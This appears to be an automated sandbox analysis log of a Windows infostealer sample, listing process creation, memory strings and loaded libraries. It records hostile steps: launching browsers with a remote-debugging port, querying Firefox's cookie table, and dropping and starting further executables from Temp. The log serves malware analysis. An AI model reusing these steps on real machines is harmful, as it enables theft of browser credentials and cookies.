Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C98CBE8 appears 134 times

Source: dc5edaf639.exe.34.dr	Static PE information: Data appended to the last section found
Source: random[1].exe.0.dr	Static PE information: Data appended to the last section found

Source: file.exe, 00000000.00000002.2743104550.000000006CBD5000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2736611897.00000000238B9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs file.exe
Source: file.exe, 00000000.00000002.2736611897.00000000238B9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs file.exe
Source: file.exe, 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: cyyltpmo ZLIB complexity 0.9945231590770637
Source: DocumentsBAEHIEBGHD.exe.0.dr	Static PE information: Section: ZLIB complexity 0.998052196866485
Source: DocumentsBAEHIEBGHD.exe.0.dr	Static PE information: Section: bwinbwch ZLIB complexity 0.9944174551417371
Source: random[1].exe.0.dr	Static PE information: Section: ftuqfubw ZLIB complexity 0.9951965941512125
Source: skotes.exe.29.dr	Static PE information: Section: ZLIB complexity 0.998052196866485
Source: skotes.exe.29.dr	Static PE information: Section: bwinbwch ZLIB complexity 0.9944174551417371
Source: dc5edaf639.exe.34.dr	Static PE information: Section: ftuqfubw ZLIB complexity 0.9951965941512125

Source: file.exe

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@75/295@22/32

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9B7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C9B7030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\6Q5E9PO1.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9200:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\ac1f07fc-631c-45dc-9fa7-0b9d39d2e0e7.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2733338642.000000001D871000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2742789936.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2741512050.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2733338642.000000001D871000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2742789936.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2741512050.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2733338642.000000001D871000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2742789936.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2741512050.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2733338642.000000001D871000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2742789936.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2741512050.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2706801790.00000000011CE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies;
Source: file.exe, 00000000.00000002.2733338642.000000001D871000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2742789936.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2741512050.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2733338642.000000001D871000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2741512050.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2733338642.000000001D871000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2742789936.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2741512050.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2478420990.000000001D72D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2386174273.000000001D739000.00000004.00000020.00020000.00000000.sdmp, CGIEBAFHJJDBGCAKJJKF.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2733338642.000000001D871000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2741512050.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2733338642.000000001D871000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2741512050.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: DocumentsBAEHIEBGHD.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2292 --field-trial-handle=2192,i,12616498222566698575,857865143827692260,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2404 --field-trial-handle=2272,i,8644300524140361366,6652659034351590865,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2204 --field-trial-handle=2036,i,11321964657895670609,3347667301527403325,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6656 --field-trial-handle=2036,i,11321964657895670609,3347667301527403325,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6812 --field-trial-handle=2036,i,11321964657895670609,3347667301527403325,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=3632 --field-trial-handle=2036,i,11321964657895670609,3347667301527403325,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=3632 --field-trial-handle=2036,i,11321964657895670609,3347667301527403325,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsBAEHIEBGHD.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsBAEHIEBGHD.exe "C:\Users\user\DocumentsBAEHIEBGHD.exe"
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6036 --field-trial-handle=2036,i,11321964657895670609,3347667301527403325,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsBAEHIEBGHD.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2292 --field-trial-handle=2192,i,12616498222566698575,857865143827692260,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2404 --field-trial-handle=2272,i,8644300524140361366,6652659034351590865,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2204 --field-trial-handle=2036,i,11321964657895670609,3347667301527403325,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6656 --field-trial-handle=2036,i,11321964657895670609,3347667301527403325,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6812 --field-trial-handle=2036,i,11321964657895670609,3347667301527403325,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=3632 --field-trial-handle=2036,i,11321964657895670609,3347667301527403325,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=3632 --field-trial-handle=2036,i,11321964657895670609,3347667301527403325,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6036 --field-trial-handle=2036,i,11321964657895670609,3347667301527403325,262144 /prefetch:8
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsBAEHIEBGHD.exe "C:\Users\user\DocumentsBAEHIEBGHD.exe"
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	Section loaded: atlthunk.dll
